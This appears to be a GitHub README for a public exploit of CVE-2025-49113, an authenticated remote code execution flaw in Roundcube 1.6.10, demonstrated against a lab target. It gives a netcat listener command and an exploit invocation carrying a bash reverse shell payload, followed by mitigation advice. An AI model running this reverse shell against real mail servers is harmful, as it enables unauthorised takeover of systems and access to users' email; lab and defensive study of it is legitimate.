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Exploit for CVE-2025-49113

githubexploit · 2025-08-18

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# CVE-2025-49113 – Roundcube 1.6.10 Authenticated Remote Code Execution

> ⚠️ **Disclaimer**  
This repository is intended strictly for educational and research purposes.  
All demonstrations were performed in a controlled lab environment.  
Unauthorized testing or exploitation of systems without explicit permission is illegal and unethical. The author is not responsible for any misuse of this information.

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## 📌 What Is Roundcube?

**Roundcube** is a widely used, browser-based IMAP email client written in PHP. It provides a user-friendly interface for webmail access and is commonly deployed by hosting providers, academic institutions, and internal enterprise mail servers.

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## 🚨 About the Vulnerability

**CVE-2025-49113** is a vulnerability affecting **Roundcube version 1.6.10** that allows an **authenticated user** to achieve **remote code execution** (RCE) by submitting a crafted command through the webmail interface.

Successful exploitation requires valid user credentials. Once exploited, it grants system-level command execution based on the web server's context.

- **CVE ID**: CVE-2025-49113  
- **Affected Application**: Roundcube 1.6.10  
- **Vulnerability Type**: Authenticated Remote Code Execution  
- **Exploit Type**: Reverse Shell via PHP Payload  
- **Exploit Availability**: [Public GitHub PoC](https://github.com/hakaioffsec/CVE-2025-49113-exploit)

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## ⚙️ Lab Setup

- **Target URL**: `http://mail.outbound.htb`  
- **Roundcube Version**: 1.6.10  
- **Listener**: Netcat on port `4444`  
- **Exploit**: `CVE-2025-49113.php`

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## 🚀 Exploit Usage

### 1. Start Netcat Listener

```bash
nc -nlvp 4444
```

### 2. Run the Exploit

```bash
php CVE-2025-49113.php {url} {username} {password} "bash -c 'bash -i >& /dev/tcp//4444 0>&1'"
```

> 🔧 Replace `` with your attacker's IP.

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## 📸 Demonstration

### Exploit Script Output

![Exploit Script Running](./img/roundcube.png)

### Reverse Shell Captured

![Reverse Shell Listener](./img/reverse_shell.png)

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## 🔐 Mitigation

- Upgrade Roundcube to the latest stable and secure release.
- Remove or restrict user access to vulnerable components.
- Enforce strong access controls and IP whitelisting for webmail interfaces.
- Monitor authentication logs for anomalies.
- Apply least privilege principles on web server environments.

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## 📝 Notes

- Exploit requires authentication.
- Only tested against Roundcube 1.6.10.
- The user context of the shell depends on the server configuration.
- Demonstration conducted in a virtual lab environment.

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## 📚 References

- [OffSec Blog Post](https://www.offsec.com/blog/cve-2025-49113/)  
- [Public Exploit](https://github.com/hakaioffsec/CVE-2025-49113-exploit)  

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## 📝 Medium Blog

Check out the detailed walkthrough and theory on my Medium post:  
👉 **[Read the blog on Medium](https://medium.com/@cyberquestor/cve-2025-49113-roundcube-1-6-10-remote-code-execution-0598e7944361?sk=b0023c78b7f0d8de5e683f4d2316967d)**